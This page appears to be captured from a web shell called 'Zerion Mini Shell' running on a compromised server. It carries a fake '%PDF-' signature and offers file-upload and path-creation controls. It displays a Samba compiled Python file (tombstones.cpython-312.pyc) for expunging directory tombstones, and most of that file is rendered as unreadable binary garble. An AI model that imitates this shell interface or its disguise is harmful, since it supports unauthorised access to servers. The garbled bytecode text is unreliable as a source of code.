%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/samba/netcmd/domain/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/samba/netcmd/domain/__pycache__/tombstones.cpython-312.pyc

�

�I�d���|�ddlZddlZddlmZddlmZddlmZm	Z	m
Z
mZddlm
Z
Gd�de�ZGd�de�Zy)	�N)�system_session)�Command�CommandError�Option�SuperCommand)�SamDBc��eZdZdZdZedddedd��ed	d
e��edd
e��gZdgZ	e
je
je
jd�Zd�Zy)�cmd_domain_tombstones_expungezZExpunge tombstones from the database.

This command expunges tombstones from the database.z%prog NC [NC [...]] [options]z-Hz--URLz%LDB URL for database or target server�URL�H)�help�type�metavar�destz--current-timezQThe current time to evaluate the tombstone lifetime from, expressed as YYYY-MM-DD)r
rz--tombstone-lifetimez2Number of days a tombstone should be preserved forznc*)�	sambaopts�credopts�versionoptsc��|jd�}|jd�}|jd�}|jd�}|jd�}|j�}|j|�}	t|t	�|	|��}
|�0|�.td|j��td	|j��|�5tj|d
�}ttj|��}nttj��}t|�dk(rN|
jddtjd
g��}
g}|
dd
D]}|jt!|���nt#|�}d}	|
j%�d}|
j'|||��\}}|
j/�|jj1d||fz�y#t($r#}|r|
j+�t-d|��d}~wwxYw)Nrrr�current_time�tombstone_lifetime)�url�session_info�credentials�lpztNote: without --current-time or --tombstone-lifetime only tombstones already scheduled for deletion will be deleted.)�filez5To remove all tombstones, use --tombstone-lifetime=0.z%Y-%m-%dr��namingContexts)�
expression�base�scope�attrsFT)rrz.Failed to expunge / garbage collect tombstonesz-Removed %d objects and %d links successfully
)�get�get_loadparm�get_credentialsrr�print�outf�time�strptime�int�mktime�len�search�ldb�
SCOPE_BASE�append�str�list�transaction_start�garbage_collect_tombstones�	Exception�transaction_cancelr�transaction_commit�write)�self�ncs�kwargsrrr�current_time_stringrr�creds�samdb�current_time_objr�res�nc�started_transaction�removed_objects�
removed_links�errs                   �@/usr/lib/python3/dist-packages/samba/netcmd/domain/tombstones.py�runz!cmd_domain_tombstones_expunge.run9s���J�J�{�+�	��:�:�j�)���J�J�s�O��$�j�j��8��#�Z�Z�(<�=��
�
#�
#�
%���(�(��,���!�.�*:�"'�B�0���&�+=�+E�� �&*�i�i�
1�
�I��y�y�
"��*�#�}�}�-@�*�M���t�{�{�+;�<�=�L��t�y�y�{�+�L��s�8�q�=��,�,�"�2�S�^�^�&6�%7��9�C��C��!�f�-�.�
$���
�
�3�r�7�#�
$��s�)�C�#��	V��#�#�%�"&��#�>�>�s�LX�Rd�?�f�
�_�
�	� � �"��	�	���H�*�M�:�;�	<���	V�"��(�(�*��O�QT�U�U��	V�s�>)G�	H�!G?�?HN)�__name__�
__module__�__qualname__�__doc__�synopsisrr0r)�
takes_options�
takes_args�options�SambaOptions�CredentialsOptions�VersionOptions�takes_optiongroupsrF��rEr
r
"s���7�/�H�	�t�W�#J�QT��3�	(���g��	�	�%�,`�gj�k�
�M���J��)�)��.�.��-�-���4<rTr
c�(�eZdZdZiZe�ed<y)�cmd_domain_tombstonesz0Domain tombstone and recycled object management.�expungeN)rGrHrIrJ�subcommandsr
rSrTrErVrVps��:��K�:�<�K�	�rTrV)r'r-�samba.getopt�getoptrN�
samba.authr�samba.netcmdrrrr�samba.samdbrr
rVrSrTrE�<module>r^s7��2�
��%�D�D��K<�G�K<�\=�L�=rT

Zerion Mini Shell 1.0